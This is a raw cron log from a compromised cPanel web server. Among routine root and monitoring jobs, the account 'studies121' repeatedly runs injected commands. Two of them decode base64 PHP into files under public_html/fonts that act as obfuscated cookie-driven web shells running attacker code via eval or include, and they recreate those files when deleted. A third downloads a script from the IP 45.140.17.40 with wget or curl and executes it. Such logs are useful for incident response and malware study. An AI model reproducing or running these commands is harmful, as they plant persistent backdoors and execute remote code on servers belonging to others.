Sep  5 00:43:01 ip-184-168-122-23 CROND[13293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:43:01 ip-184-168-122-23 CROND[13294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:43:01 ip-184-168-122-23 CROND[13295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:44:01 ip-184-168-122-23 CROND[13446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:44:01 ip-184-168-122-23 CROND[13448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:44:01 ip-184-168-122-23 CROND[13450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:44:01 ip-184-168-122-23 CROND[13449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:44:01 ip-184-168-122-23 CROND[13451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:45:01 ip-184-168-122-23 CROND[13618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:45:01 ip-184-168-122-23 CROND[13623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:45:01 ip-184-168-122-23 CROND[13622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:45:01 ip-184-168-122-23 CROND[13624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:45:01 ip-184-168-122-23 CROND[13619]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  5 00:45:01 ip-184-168-122-23 CROND[13620]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:45:01 ip-184-168-122-23 CROND[13621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:46:01 ip-184-168-122-23 CROND[13814]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 00:46:01 ip-184-168-122-23 CROND[13817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:46:01 ip-184-168-122-23 CROND[13816]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:46:01 ip-184-168-122-23 CROND[13820]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 00:46:01 ip-184-168-122-23 CROND[13819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:46:01 ip-184-168-122-23 CROND[13821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:46:01 ip-184-168-122-23 CROND[13818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:47:01 ip-184-168-122-23 CROND[13933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:47:01 ip-184-168-122-23 CROND[13935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:47:01 ip-184-168-122-23 CROND[13934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:47:01 ip-184-168-122-23 CROND[13936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:48:01 ip-184-168-122-23 CROND[14019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:48:01 ip-184-168-122-23 CROND[14021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:48:01 ip-184-168-122-23 CROND[14020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:48:01 ip-184-168-122-23 CROND[14023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:48:01 ip-184-168-122-23 CROND[14022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:49:01 ip-184-168-122-23 CROND[14108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:49:01 ip-184-168-122-23 CROND[14110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:49:01 ip-184-168-122-23 CROND[14111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:49:01 ip-184-168-122-23 CROND[14112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:50:02 ip-184-168-122-23 CROND[14199]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:50:02 ip-184-168-122-23 CROND[14202]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 00:50:02 ip-184-168-122-23 CROND[14204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:50:02 ip-184-168-122-23 CROND[14206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:50:02 ip-184-168-122-23 CROND[14205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:50:02 ip-184-168-122-23 CROND[14210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:50:02 ip-184-168-122-23 CROND[14211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:50:02 ip-184-168-122-23 CROND[14209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:50:02 ip-184-168-122-23 CROND[14208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:51:01 ip-184-168-122-23 CROND[14393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:51:01 ip-184-168-122-23 CROND[14394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:51:01 ip-184-168-122-23 CROND[14396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:51:01 ip-184-168-122-23 CROND[14395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:52:01 ip-184-168-122-23 CROND[14485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:52:01 ip-184-168-122-23 CROND[14487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:52:01 ip-184-168-122-23 CROND[14486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:52:01 ip-184-168-122-23 CROND[14489]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:52:01 ip-184-168-122-23 CROND[14490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:53:01 ip-184-168-122-23 CROND[14569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:53:01 ip-184-168-122-23 CROND[14570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:53:01 ip-184-168-122-23 CROND[14572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:53:01 ip-184-168-122-23 CROND[14571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:54:01 ip-184-168-122-23 CROND[14651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:54:01 ip-184-168-122-23 CROND[14654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:54:01 ip-184-168-122-23 CROND[14652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:54:01 ip-184-168-122-23 CROND[14655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:54:01 ip-184-168-122-23 CROND[14653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:55:01 ip-184-168-122-23 CROND[14738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
